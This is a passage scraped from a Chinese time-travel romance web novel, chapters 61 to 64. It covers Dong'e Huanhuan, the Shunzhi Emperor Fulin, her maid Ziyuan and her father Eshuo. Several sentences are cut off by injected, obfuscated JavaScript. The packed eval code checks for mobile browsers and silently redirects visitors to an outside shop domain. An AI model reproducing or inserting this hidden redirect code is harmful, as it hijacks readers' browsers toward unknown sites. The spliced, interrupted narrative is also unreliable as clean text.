从浣儿遇到皇上,皇上秘密召见他的时候,他就在担心,浣儿和董鄂家的未来将会何去何从。 如今京中风云涌动,皇上和摄政王他谁都惹不起,谁都不敢得罪,浣儿却被迫卷入其中。 看皇上这个样子,浣儿想要脱身着实有些困难。 他可怜的女儿怎么就这样卷入这些是是非非之中,成为别人的棋子了呢。 鄂硕越想越恼越想越担忧,如果有可能他真的宁愿把女儿关在房里不让她出门。 福临看到董鄂.鄂硕这个样子,正想出言安抚他的情绪,床上的董浣浣咳嗽了几声,打断了他的话。 他转头看向床上,这才发现董浣浣不知什么时候已经醒了。 董浣浣从床上爬起来,操着嘶哑的声音,对福临和鄂硕说道:“对不起,都是浣儿的错,让皇上和阿玛担忧了。” 说完作势就要下床请罪。 福临赶紧走到了床前阻止了她,扶住了她的肩膀,把靠枕放在了她的背后,扶着她躺好,然后说道:“你现在身体虚弱,不适合下床活动,还是好好躺下静养吧。” 董浣浣规矩的应道:“谢皇上恩典。” 福临听了,心里咯噔一下,她什么时候这样规矩过,不过现在不是计较这个的时候。 “你口渴吗,要不要喝水?”,说完没等董浣浣开口,就冲着茶壶方向伸出手来。 紫鸢眼疾手快的站起身来赶忙去倒水。 董浣浣却不是很领情,很是规矩的回道:“多谢皇上关心,臣女不渴。” 她的话刚刚说完,紫鸢恰好把杯子端了过来。 紫鸢听到她的话此时也不知道该怎么办了,递给董浣浣也不是,不递给董浣浣也不是,愣在原地。 福临见状,笑着从紫鸢手里接过杯子,低头吹吹凉,又抿了一小口试了下温度,然后说:“不烫,正好入口,这些天你滴水未进,这嗓子都哑了,喝点水润润喉咙吧。” 说完作势就要喂她。 董浣浣赶忙接过杯子,“谢谢皇上体恤,臣女自己喝就好。”,然后一饮而尽。 开玩笑,她家阿玛还跪在那里,看到他们这样,成何体统。 福临看到她这幅老牛饮水的样子,在旁边耐心的嘱咐道:“喝慢点,不够那边还有。” 董浣浣喝完水把被子递给紫鸢,福临在一边又问道:“够了吗,要不要再喝点。” 董浣浣推辞:“臣女已经不渴了,谢谢皇上恩典。” 福临点点头,起身扶起她,把她身后的靠垫抽出来,然后再让她躺下。 “大夫说你现在需要静养,没事多躺躺。” 董浣浣无语问苍天,所以她的“饭来张口衣来伸手”的囚徒生活,从这一刻就开始了吗? 讽刺的是,现在做这一切的人,曾经是带她拨山涉水,走遍大街小巷的他。 福临安排好了她,又帮她掖了掖被角,转身扶起跪在地上的鄂硕。 转头又吩咐同样跪在地上的紫鸢道:“去打盆水来给你们家小姐擦擦脸,顺便去厨房弄着吃食来,她这些天没怎么吃饭,定是饿坏了。” 紫鸢领命,应声退下。 待紫鸢从外面把门关上后,福临对鄂硕说:“朕知道,卿是担心朕的身体,如今她已经醒来了,朕自会保重自己的身体。” 鄂硕闻言谢恩道:“多谢皇上体恤下官。” 福临闻言点了点头,又道: “朕有几句话想要和她单独聊聊,不知道方不方便?” 鄂硕领会,弯腰拱手道:“微臣告退。” 说完开门出去了。 房间里一时间只剩下了,福临和董浣浣两个人。 福临拉住董浣浣的手,董浣浣挣扎了两下没有挣开,只能任由他抓着了,然后眼不见心不烦似的把两只眼睛闭了起来。 福临看到她这种不配合的态度也不恼,轻声对她说道:“是我骗了你,我知道我现在说什么做什么,都不可能让你消气。可是我还是想要对你说,我从出生起命运就不能由我掌握,六岁受多尔衮拥护继位,之后受他钳制做了许多非我所愿的决策,如今他的野心越来越大,大有取而代之之态。” 董浣浣虽然闭着眼,假装没有听他说话,但是他说的话,她还是一字不差的听进耳朵里了。 这段历史她很熟悉,无论是课本还是电视剧她都曾涉猎过。 在旅途中多次追杀他们,他口中在朝廷中做大官的叔父爱新觉罗.多尔衮。 那个提出“留头不留发,留发不留头”的狠人。 那个能文能武,明明有机会做皇帝,却做过贝勒,做过王爷,做过摄政王,做过皇叔父摄政王,做过皇父摄政王,就是没有做过皇帝的男人。 以前在宿舍,孟古青看某部清朝电视剧的时候就曾发表过:历史没能给多尔衮一个公平的待遇,电视剧的编剧们用爱情帮他弥补了遗憾的言论。 当时董浣浣坐在孟古青的旁边深以为然的点了点头。 如今从他的口中亲耳听到那个人的名字,多少还是有些不真实感。 福临自然是不知道此刻她心中所想,继续说道:“皇权富贵非我本愿,退位让贤也不是不可以,只不过他太过于排斥外族,我怕有一天老祖宗的基业会毁在他的偏执上。” 原来此刻他已经看的很清楚了,多尔衮的许多政策正在加剧民族矛盾,怪不得等到他亲政以后,他会那么重用汉官,启用汉制。 “我知道你喜欢天高海阔,不喜欢深宅大院,那样会束缚到你前进的脚步,可是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815886|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却生活在全京城最深的大院里,我怕我和你说了,你会嫌弃我,就像现在这样不理我,和我划清界限。” 董浣浣被他的话给镇住了,原来天之骄子也会有害怕的事情吗? 他明明一直是那副运筹帷幄,一切尽在掌握之中的样子。 然后她就感觉到,自己的两只胳膊被他攥住了,身体被抬了起来。 福临把她从床上扶起来,靠在床头上。 董浣浣无奈的挣开了眼睛,她倒想看看他要干什么。 董浣浣还来不及反应,一瞬间他的脸就近在咫尺了。 董浣浣想转身想要逃离他的靠近,无奈他的两只手像两只铁钳,紧紧的把她的脑袋困在了中间,不让她离开。 她这是被安齐修“壁咚”了吗? 董浣浣想。 福临凑近她的脸庞,两只眼睛紧紧的盯着她的眼睛说道: “所以我请求你,无论你怎么生气,都不要离开我好不好。” 他的声音轻柔,语气温煦中夹杂着一丝渴望。 这不是偶像剧,这不是偶像剧,董浣浣在心里疯狂的提醒自己。 如果她是偶像女主角,她一定会毫不犹豫的答应他。 可是这不是偶像剧,这是历史,她不能答应他。 她知道如果她答应了他的请求,他的结局将是什么,她不想让他有那样的结局。 安齐修的眼睛就在眼前,带着期盼,带着蛊惑的望着她。 董浣浣被他看得呆住了,就在她感觉下一秒就没办法呼吸的时候,福临松开了放在她头两边的胳膊,笑着说道:“你不说话,我就当你同意了。” 画风突变,之前的暧昧气氛荡然无存。 原来古人也可以这样不讲理的啊,何况他还是皇上呢。 董浣浣气急,一个软枕毫无预兆的就砸向了福临的头。 董浣浣扔完之后就后悔了,她怎么又忘了,这个人不是安齐修,他是爱新觉罗.福临,是当今的皇上。 用枕头去打皇上的头,这是被气糊涂了,不要命了吗? 还好他反应快用手接住了。 福临抱着软枕,笑着说:“这是要谋杀亲夫?” 董浣浣被他的话臊的脸刷的一下就红了,虚张声势的说道:“你别胡说!” 福临拍着手中的枕头,笑着道:“有此枕头为证,怎可说我胡说?” 董浣浣正要张嘴反驳,就被他打断了,福临收起刚刚那副玩世不恭调戏她的样子,很认真很认真的对她说道:“这样的你才是最好的你。无论我是谁,都一如既往希望你可以做最真实的你自己。生气就发泄出来,不满就说出来,别憋在心里,我再也不想看到你昏迷倒下的样子。” 董浣浣被他这突如其来的煽情搞的有些措手不及,趁他不备,从他手中拿回了她的枕头,然后钻进被窝,背对着他躺下。 福临望着那透露出一丝倔强和委屈的背影,笑了笑,然后说道:“这一阵子我有些事情需要处理,就不能常来看你了,你乖乖待在家里养病,我处理完事情就来看你。” 说完给她又掖了掖被角,然后转身离开。 走到门口的时候,就听到后面董浣浣低低的说了声:“注意安全,别让自己受伤了。” 福临唇角勾起了一丝笑容,然后打开门离开了。 躺在床上的董浣浣,又往被子里顾涌了一下,来掩饰自己的尴尬,虽然并没有人看到。 福临和多尔衮的这场争斗,谁输谁赢史书都写的很清楚了,可是真当要亲临这段历史的时候她还是免不了担心他会受伤。 欲断不断反受其乱,好讨厌这样的自己啊! 董浣浣用被子将自己的头蒙住,逼着自己就此打住。 62. 只愿你安 福临走到门边,对恭敬的站在一旁的紫鸢吩咐道:“好好照顾她,这段时间别让她出门吹风,安心在家静养。” 紫鸢领命点头:“奴婢记住了。” 福临听到她的答复满意的点了点头,便移步离开了。 福临前脚刚走,紫鸢后脚就走了进来。 “小姐你有没有感觉好一点了”。 紫鸢端着一个瓷质的容器走到床边的桌子旁,把托盘放在了上面。 “大夫说你肝火旺盛,才会昏倒,刚才老爷亲自去了厨房,吩咐做了这道红豆冬瓜粥,清热去火的很适合你现在喝。” 紫鸢边说掀开盖子,把里面的粥倒进旁边的碗里,然后用小勺小心翼翼的搅拌晾凉。 董浣浣没有回答她的问题,眼神盯着紫鸢,反问道:“紫鸢,以前暂时不论,出去的这几个月我对你不薄吧?” 紫鸢闻言,温婉的笑了一下,回复道:“不管是以前还是这几个月,小姐对我一直很好呀,小姐为什么这样问?” 董浣浣掀开被子,从床上走下来。 紫鸢听见动静赶忙放下手中的勺子和碗,去扶她:“小姐,你怎么下床了,有什么事情吩咐一下我就好了。” 董浣浣侧过身去,没让她碰到自己,两只眼睛盯着紫鸢,语气严肃的质问道:“你什么时候知道他的身份的,你和他还有什么我不知道的秘密?” 依照当时的情形,当时阿玛只是跪着还没有开始说话,凭借她的对紫鸢的了解,那天她不可能能那么快的反应过来当时的情况,拉着她和小柒跪下去。 除非她之前就已经知道了安齐修是谁,只是从来没有和她说过而已。 紫鸢不敢看她的眼睛,慌忙转身又去摆弄那碗粥,然后心虚的否认道:“小姐说的什么,奴婢不是很明白。” 董浣浣也不在意,只是说话的语气冷了许多:“不管你相不相信,这半年多以来,我一直把你当做我的朋友。当然朋友间有秘密也很正常,可是这种事关朋友生死的大事,却能当着她的面只字不提,我认为这样的朋友不交也罢。 紫鸢,你应该知道吧,我们家的丫头不只只有你一个,想要换掉你只是我一句话的事情。” 紫鸢听到她这话,直接慌了,手一抖打翻了桌上的碗。 滚烫的粥直接落在了她的手上。 她来不及喊疼的跪倒在董浣浣的身前,哭着说道:“小姐,求求你,不要赶我走,我说,我什么都说。” 董浣浣在看到她打翻瓷碗的那一刻,所有的伪装就都土崩瓦解了,眼泪刷的一下就从眼睛流了出来。 边哭边从怀里拿出手帕给她擦。 那粥现在还冒着热气儿,把她的手烫的通红一片。 这得多疼啊。 紫鸢看到她这个样子慌得更厉害了,忙伸手给董浣浣拭泪,安慰她道:“我不疼,真的,小姐你别哭啊。” 董浣浣什么也不想问了,把紫鸢从地上拉了起来。 “走,我们去膳房,找水冲一下。” 紫鸢慌忙拒绝:“不用了小姐,我自己去就可以了,你这大病初愈还是躺在床上静养比较好,皇上刚才吩咐过不能让您出门吹风。” 董浣浣对她的话不以为然,从衣架上拽下一件外套披上,拉着她就走,“我这是在自己家,不算是出门吹风!” “可是你那天就是在家里晕倒的……”,紫鸢弱弱的说道。 她不说还好,一说直接又把董浣浣的气性给勾出来了,董浣浣瞪着眼看她,咬牙切齿的说道:“闭嘴,要不是你们合起伙来气我,我会晕倒吗?”。 紫鸢不敢说话了。 然后就被一路拉到了膳房冲了凉水,又被拉到了大夫那里涂了药膏包扎了一下。 然后被董浣浣扔到了她自己的房间里,气急败坏的和她说了一句:“安心静养,这段时间没事别来烦我,我不想看到你。” 说完砰的一声关上门走了。 紫鸢待在房里笑了,她家小姐的心太软了,永远做不到铁石心肠,永远做不了坏人。 以她对小姐的了解,这次问不出来,她以后都不会再问了。 可是,紫鸢看了一眼自己手上的绷带,决定了:这一次她想告诉她真相。 她去到膳房让厨师重新帮忙做了一份红豆冬瓜粥,然后端着它有从新走到了董浣浣的房里。 本来是想要亲手帮她家小姐把刚刚她弄的那片狼藉收拾一下的,没想到她家小姐已经叫人来收拾过了。 耳畔又传来小姐说的那句:我们家的丫头不只你一个,想要换掉你只是我一句话的事。 虽然她知道那并不是小姐的真心话,可是望着眼前的景象,现实也确实如此。 紫鸢的心里有一丝不易察觉的失落、不甘与怨愤。 董浣浣看到她端着瓷盅又回来了,脸上虽然表现的很不乐意可是还是很快的从床上起来走到她面前接过她手中的瓷盅。 嘴里“嫌弃”道:“这手都受伤了,就不能在屋里好好待着养伤吗,又端这个,是想让自己伤上加伤吗。” 紫鸢听着她家小姐这翻“刀子嘴豆腐心”的违心之论,突然觉得自己刚才从脑中闪过的那丝不满的情绪有些可笑。 小姐对她终究还是与对旁人不同,这种被她唠叨也是一种幸福,紫鸢笑了笑也不反驳,就任由她说。 董浣浣把瓷盅放在桌子上,掀开盖子。 “就这样自然晾凉吧,凉了我自己起来喝,你别去弄它了,万一再烫着你。” 董浣浣摆弄好之后,转身看向紫鸢,说道:“好了,等它凉了我会记得喝,你今天也受伤了,赶快回房歇着吧。” 说完打了个“哈欠”,往床边走,“折腾了这么久,我也累了,听你们的话我也躺床上休息一下。” 董浣浣刚走出一步,就被紫鸢拉住了衣摆。 董浣浣一脸疑惑的回头看向紫鸢:“怎么了?” 紫鸢深吸了一口气,鼓足勇气道:“小姐,我有些事情想向你坦白。” “紫鸢,你想好了吗,让你保守秘密的是他,他不是安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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董浣浣放下手中的勺子和碗说道:“其实我也不知道我该怎么办,朝廷采选秀女的规程就在那里,他要是想让我进宫,我又该如何反抗。” “那小姐,你想要进宫吗?”,紫鸢弱弱的问道。 “我想不想进宫……”,董浣浣重复了一遍紫鸢的话。 然后泪眼婆娑的转头看向紫鸢,说道:“终于有人想到问我想不想了,今天他和我说了一大堆话,说了他的为难,说了他的无奈,说了他的请求,然后替我做了决定,却从头到尾也没有问一句,我想不想。” 一滴泪落下,滴在了地面上。 “我不想。”,董浣浣抱住紫鸢的腰哭着说道。 我不想他那么年轻轻轻的就因为我而英年早逝,我不想他那腔宏图抱负,因为我而半途折止。 他说不管他是谁,都想让我肆无忌惮的活,而我只想让他平平安安的生。 63. 我的阿玛 “小姐还买呀?”,紫鸢对着董浣浣一刻也不得闲的背影抱怨道,然后小跑两步追上她。 “买啊,为什么不买?”,董浣浣拿起一只用面粉捏成的小兔子,一边打量一边头也不回的说道。 “老板,这只小鸡,这只小鱼,这只小马,还有我手里的这只兔子,我都要了,麻烦给我包起来,谢谢。”,董浣浣一一指出她要的东西,然后对已经来到她旁边的紫鸢说道:“紫鸢,付钱。” 老板闻言,乐呵呵的手脚麻利的赶忙把东西给包了起来,笑嘻嘻的递给紫鸢。 紫鸢本来还想和董浣浣说说不要买这么多,看到老板这样也只能硬着头皮付了钱,然后把东西递给了后面跟着的两个随从。 董浣浣带着紫鸢和小柒走在店铺林立的大街上,后面跟着两个随从大包小包拿着她的战利品。 这两天已经成为了本地商户口中的最好宰的肥羊冤大头。 “我失恋了嘛,当然需要买买买,吃吃吃了,谁让我的爱人是上面头头呢。”,董浣浣瞪着无辜的大眼睛唉声叹气道。 紫鸢被她这种肆无忌惮的样子下出了一身冷汗,连忙捂住了她的嘴。 董浣浣满不在乎的扒拉下紫鸢的手说道:“这有什么不能说的,谁知道上面头头代表的就是他啊,再说了是他让我想发泄时就发泄,不开心的时候就生气,我现在是在听他的话让自己开心呀。” 说完松开紫鸢的手,又凑到前面的一个杂耍摊看起了表演来。 这杂耍摊已经围得里三层外三层的人多嘴杂的,更何况有些上次抛绣球遇到的糟心事,紫鸢是更不想让她们家小姐往这样的地方待。 紫鸢好不容易的挤到了董浣浣的身边,“小姐我们回家吧,您别忘了”,紫鸢凑近董浣浣的耳边小声提醒道:“上面头头吩咐过不让您出门吹风。” 董浣浣闻言看了紫鸢一眼,然后甩了甩自己自己长裙,又指了指头上带着的斗笠面纱,说道:“我这已经裹得严丝合缝,绝对不让自己吹一丝风,这样也不算不听他的话吧。” “可是小姐……”,紫鸢还想说点什么,董浣浣直接给打断了,“有什么话回去再说,我保证看完这个我们马上就回家!” 紫鸢无奈的只能闭嘴,在胆战心惊中陪她家小姐看完了杂耍。 一个半时辰以后。 董浣浣带着随从拎着大包小包回到了家中。 路过凉亭的时候,发现她家阿玛正在凉亭里坐着喝茶,董浣浣走过去规矩的请过安之后,就想带着紫鸢和小柒回房分东西。 鄂硕却把她拦下了,“为父在等你”,然后对站在董浣浣旁边的紫鸢他们说道:“你们先回去,我有事儿要和你们小姐单独聊聊。”。 紫鸢应声,带着小柒和两个随从退下了。 只剩下董浣浣一个人。 鄂硕指着旁边的位置,对董浣浣说“坐。” 董浣浣应声坐下。 鄂硕倒了一杯茶递给她,董浣浣伸手接过来。 “知道我想和你谈什么吗?”,鄂硕问道。 董浣浣摇摇头,小声的应对道:“女儿不知。” 虽然看到他的表情她就知道了,他想要谈些什么。 也是,除了那件事情,他这么一个军务缠身的军官,哪有时间待在这里陪女儿喝茶。 更何况他是董鄂.浣浣的阿玛,不是她董浣浣的父亲,他如果知道了她代替了他女儿的灵魂,恐怕会气的当场掐死她吧。 面对他时,还是小心谨慎为好,千万不能飘,董浣浣在心里告诫自己道。 说到董鄂.浣浣,董浣浣真的想要为她鸣不平,鄂硕这个爹当的一点也不称职,明明知道有个常年卧床的女儿,却还时常不回家,甚至还丢给她一个姓爱新觉罗的后母,让她费力周旋,也不怕这个继母像电视剧里容嬷嬷那样拿针扎董鄂.浣浣,以她以前那样的身体想要跑都跑不了。 鄂硕自然是不知道她此刻所想,听到她刚刚的回话笑了笑,抿了一口茶接着说道:“你别紧张,就只是我们父女两个随便谈谈心而已。” 董浣浣学着他的样子喝了一口茶,然后心虚的看向别处,说道:“我不紧张。” 鄂硕笑着说道:“不紧张就好。”,然后问道:“你们这一路都去哪儿玩啦,图中都遇到了什么好玩的事情啦?” 铺垫完成,正式进入正题了? 这下董浣浣开始紧张了。 一五一十的说了他们去过哪些地方,又挑挑拣拣的说了一些他们图中遇到的事情。 董浣浣说的小心翼翼,鄂硕听的津津有味。 一炷香的时间很快就过去了。 “所以说你差点成为别人家的女婿?”,鄂硕问道。 董浣浣有些心虚的点了点头。 鄂硕拍了拍手道:“我们家女儿厉害了!” “厉害了?”,董浣浣不敢相信自己的耳朵,她家阿玛听到她女扮男装差点被逼着娶人家的女儿居然夸她厉害? 这是一个身在封建社会的朝廷大官该有的思想觉悟吗? “怎么不厉害?”,鄂硕听到她家女儿如此的自我菲薄有些不满的强调道:“我女儿女扮男装都能迷倒万千少女,这容貌要是男儿身,铁定也是赛过潘安的。” 从头到尾也就一个女生,人家还是有情郎的,怎么就迷倒万千少女了? 还有虽然她这张原主的脸长的是不错,但也不至于性转就能赛过潘安。 潘安知道他这样被碰瓷吗? 这老爹也太能吹了吧。 不过经此一闹,董浣浣对鄂硕的戒备心也没有那么强了,笼罩在两人之间的尴尬气氛也缓解了不少。 算下来从穿越过来以来,这是他们第一次坐下来认真的聊天。 以前一方面是因为鄂硕太忙了,东征西讨的很少回家,二来是因为董浣浣怕穿帮总是用装病来减少与鄂硕的对话,从未尝试着去了解他这个人。 代替她女儿活着,却未代替他女儿尽孝,董浣浣你真的很差劲。 思其及,董浣浣有些愧疚,又给鄂硕讲了几个开心的事,逗他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815888|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开心。 一阵欢声笑语之后。 鄂硕抹掉刚才笑出来的眼泪,说道:“你知道吗,这些年因为你的病,因为我常年征战,咱们父女俩能够这样坐下来安安静静喝喝茶,谈谈话的场景,是我一直不敢期盼的奢望,如今终于实现了。” 他的话把刚刚活跃的气氛搞的瞬间有些煽情。 “阿玛。”,董浣浣的声音有些颤抖。 她刚刚真的是太小人之心了,说董鄂.浣浣遇到这样的爹是倒了大霉,这个爹在董鄂.浣浣心里一定也是个很伟大很伟大的父亲吧。 只是遗憾他们做父女的时间太短了,没有时间去相互表达心中的爱意。 鄂硕看到董浣浣的样子也红了眼圈,接着说道:“你一直是一个很聪明的孩子,从前身子弱总是生病,阿玛就在想只要你身体健康,让我付出什么代价都可以。如今你的身体倒是健康了,我却又想要你平平淡淡,安安乐乐度过余生,人就是这么贪心不足。” 董浣浣没有说话,只是从石凳上站了起来走到鄂硕的身边,将头放在了他的腿上,默默的流出了眼泪。 上天真的待她不薄,无论是在现代还是在古代,父爱一直萦绕在她身边,不曾离开。 鄂硕轻轻的拍了拍她的头,说道:“你放心无论将来发生什么事情,哪怕是豁出性命,为父都会护你周全的。” 董浣浣当然知道这话中的分量,目前朝廷局势还未明朗,福临在他们呆了三天三夜的消息万一传了出去,整个董鄂家都将成为多尔衮的眼中钉肉中刺。 虽然她知道事情的结局,大家都会平安度过,可是她阿玛不知道啊,他现在这样说就是在拿自己的身家性命来保护她。 “孩子,他是不是皇上不重要,有没有权利不重要,对手是谁也不重要,遵循自己的本心,想要做的事情就去做,不要委屈自己,凡事都有父亲为你撑腰,不要害怕。”,鄂硕扶起董浣浣替她擦干了眼泪,直视着她的眼睛说道。 董浣浣看着鄂硕的眼睛郑重的点了点头。 看到她这个样子,鄂硕知道她理解了他的用心,露出了一个满意的笑容。 恰好这时来了个家丁站在亭子不远处通报:“老爷,军中来人说有事和您商量,现已经在偏厅等候。” 鄂硕回复小厮道:“好的,我知道了,你先前去回复他,说我随后就到。” 小厮领命离开。 董浣浣很识时务的抢先说道:“既然阿玛有军务要忙,那我就先回房了。” 鄂硕闻言拍了董浣浣的肩膀说道:“也好,你刚刚大病初愈,今天又在外面逛了那么久,还陪我聊了这么久的天,一定是累了坏了吧,赶紧回房歇着吧,我待会让厨房给你送一碗银耳莲子羹过去,记得喝。” 董浣浣点头道谢道:“谢谢阿玛关心。” 鄂硕挥挥手“嫌弃”道:“自己家的粮食不用那么客气。”,然后又补充了一句:“下次有空我们接着讲旅途中的那些事儿。” 董浣浣笑了笑说了声:“好”,便退下回房了。 64. 锦囊 哭也哭够了,买也买够了,闹也闹够了,失恋的矫情劲也算是彻底发泄完了,留给她的时间也不多了,董浣浣待在房间里开始想对策了。 这段历史的大概脉络她是知道的,多尔衮去世,福临顺利亲政娶亲,之后娶了董鄂妃,只不过具体时间她不是很了解,只是依稀记得多尔衮是死在了一个冬天,好像是去狩猎途中死的。 好像,依稀,不了解,董浣浣真想打爆自己的头,叫你以前不好好读书,书到用时方恨少了吧,知道抓狂了吧。 历史不够,推力来凑,现在情形那么焦灼,他们回京的这一路已经遇到好几波多尔衮的刺杀了,估计他们的矛盾已经激化到了顶点。 历史课本上好像是说多尔衮是狩猎途中,突然大病然后死亡的,如今看来绝对没有这么简单。 话说董浣浣突然想知道,多尔衮和福临这样针尖对麦芒的,孝庄太后心里是什么滋味。 电视剧把多尔衮和孝庄太后之间的感情写的各种凄美哀怨缠绵悱恻,现实中到底是什么样子的,她好想看看哦。 董浣浣的大脑开始神游太空中,脑补出了一幕幕令人唏嘘的场景。 话说,脑补了这么多,多尔衮和孝庄太后长什么样子,她好像还不知道呢。 “啪!”,董浣浣狠狠的打了自己的脑袋瓜子一巴掌。 这都什么时候,居然还有心思去八卦。 多尔衮和孝庄太后的结局她无能为力,现在最重要的是想办法救福临。 既然福临是因她而死,那么她只要赶在圣旨下达前,想办法让他不能够娶她,是不是就可以救他了。 对,就是这个逻辑,可是她该怎么办呢? 董浣浣陷入沉思。 一个时辰过去了,董浣浣脑子灵光一闪,“对了,锦囊!” 那天福临的师父给她的锦囊,说是遇到了为难之事打开它,它可以帮助她解决问题。 既然三国可以出现诸葛亮这种未卜先知的神人,清朝出现倒也不奇怪,总之为今之计也只能死马当活马医了。 董浣浣翻了翻身上没有,然后自我吐槽道:都过了多久了,换了多少件衣服了,要是有才有鬼咧,然后开始翻床,遍了床上每一个角落之后没有发现,就开始翻箱倒柜起来。 忙活了大半天还是没有找到。 累极了的董浣浣坐在地上,一边扇着风,一边回忆,她那天从福临师父那里接过来锦囊就直接揣在了腰间,她记得到家门口的时候她好像还看了一眼,那时候锦囊还是在的,按理说丢也只能丢在家里啊。 都怪福临,要是他不那么吓唬她,她也不会晕倒,万一是她晕倒的那段时间掉在了哪里,被家里的家丁丫头捡到了打开看了或者是扔了,那她就惨了。 董浣浣一想到这种可能性,赶紧起身,准备让紫鸢挨个人问一下,是谁捡到了。 董浣浣刚刚一打开门就和端着粥进来的紫鸢撞了个满怀,还好紫鸢反应快没让粥洒出来,酿成上一次那样的后果。 董浣浣见状被吓得不行,伸手就要帮紫鸢端碗。 紫鸢侧过身去没让她端,稳定了心神之后,把粥放在了桌子上对董浣浣说道:“小姐,这是老爷特意嘱咐厨房给你做的银耳莲子羹,你趁热赶紧喝了吧? 董浣浣见她没事摆摆手道:“我现在没空,等过一会儿我忙完了就回来喝。” 紫鸢见她把房间弄得这么乱,又这么着急的出去,问道:“小姐,这屋怎么这么乱,是丢了什么东西吗,你这么着急忙慌的是要干什么去,有什么是我可以帮你的吗?” 紫鸢的问题刚说完,董浣浣把已经迈出去的一只脚,又迈了回来。 轻轻拍了一下自己的脑门,如梦初醒般的说道:“对哦,我怎么忘了,我就是出去找你帮忙的。” “找我帮忙?”,紫鸢指着自己一脸疑惑的问道:“找我帮什么忙?”,然后还没有等到董浣浣开口,又表忠心般的说道:“不过,只要用的到我的地方尽管说,我一定拼尽全力帮你办到。” 董浣浣看到她这样一副视死如归的样子,赶紧出言缓解一下尴尬:“那个,没有那么严重,只是我的一个东西丢了想让你帮我向全院的家丁丫头们打听一下,有没有人捡到。” 紫鸢听她这么说松了口气,放下心来。 说完又怕紫鸢因为她刚刚的态度而不重视,于是又强调了一下重要性,“如果没有找到,就真的会要了我的命了。” 紫鸢听她这么说,刚刚放下去的心又提了起来,“是什么东西那么重要,长什么样,小姐你画个图,我帮你去找。” “紫鸢你记不记得”,董浣浣开始描述,“就是那天我们去庙里,安齐修的师父,不,说错了,是福临的师父给了我一个锦囊,紫色的镶着金边,大概这么大”,董浣浣用手比划了一个桃子大小的圈,然后接着说:“我放在腰间的,那天到家门口我还看了一眼,还在的之后我被气昏迷了,然后锦囊就不翼而飞了,我刚刚找遍了屋子里所有的地方都没有找到,我想应该是掉到院子里被谁捡到了。” 董浣浣拽着紫鸢的胳膊接着说道:“你去帮我问问谁捡到了买个锦囊,它对于我来说真的很重要。” 紫鸢听她说完恍然大悟状,“原来你把屋子翻的这么乱是要找那个啊。” 董浣浣一听她这话,感觉有门,难道她知道她的锦囊在哪里? “你知道它在哪里吗?”,董浣浣问道。 紫鸢:“当然,那天你昏倒之后的衣服都是我给你换的。” 说完用手碰了碰董浣浣的手,示意她把抱着她胳膊的手放开。 然后走到已经被董浣浣翻的惨无人道的梳妆台上,找到了一个小盒子,之后把藏在盒子里的锦囊拿出来递给董浣浣,“在这里。” 董浣浣接过锦囊,然后热情的扑到紫鸢的怀里抱着她,两只手晃荡着紫鸢的胳膊,兴高采烈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16815889|190875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大声喊着:“紫鸢你也太厉害了吧,我太爱你了!” 紫鸢被她晃得有些头晕,扒开董浣浣攥着她胳膊的两只手道:“如果小姐以后要找什么东西,在想要大翻特翻之前,来问一下我,我会更爱你。” 董浣浣听她说完,看着这一屋子的狼藉,有些心虚的看向紫鸢,说道:“等我看完了这锦囊里的内容,我们一起收拾好不好。” 紫鸢拿她那副无辜的样子实在是没有办法,只能妥协点头答应了。 董浣浣小心翼翼的从锦囊里拿出一张纸条。 看了纸条上的内容,只觉得像五雷轰顶般的“啪”的一下劈在了头上。 紫鸢看到董浣浣这样一副被雷劈了的样子,从她手上拿过来纸条看了一眼,纸条上写的是:前世勿念,既来之,则安之。 和前些天在客栈,小姐从那个乞丐手中收到的信上面的字是一样的。 虽然字她都认识,但是这几个字合起来到底是什么意思呢。 为什么她家小姐每次看到这几个字都好像会变的不正常一样。 紫鸢小心翼翼的唤了声:“小姐,你没事吧?” 她特别害怕出现上次小姐看到纸条出现的那种场景,哭的那么无助那么惨烈,上次有皇上在,把小姐哄好了,这次她真的没有把握能把小姐哄好,难道是要去皇宫把皇上请来吗? 那样也太为难她了吧。 就在紫鸢一筹莫展,不知道该拿董浣浣如何是好的时候,董浣浣开口了,“紫鸢,我想到了一个办法?” 紫鸢被她这突如其来的灵感搞的一脸莫名,甚至都不知道她在说着什么,只是习惯性的接了一句:“什么办法?” 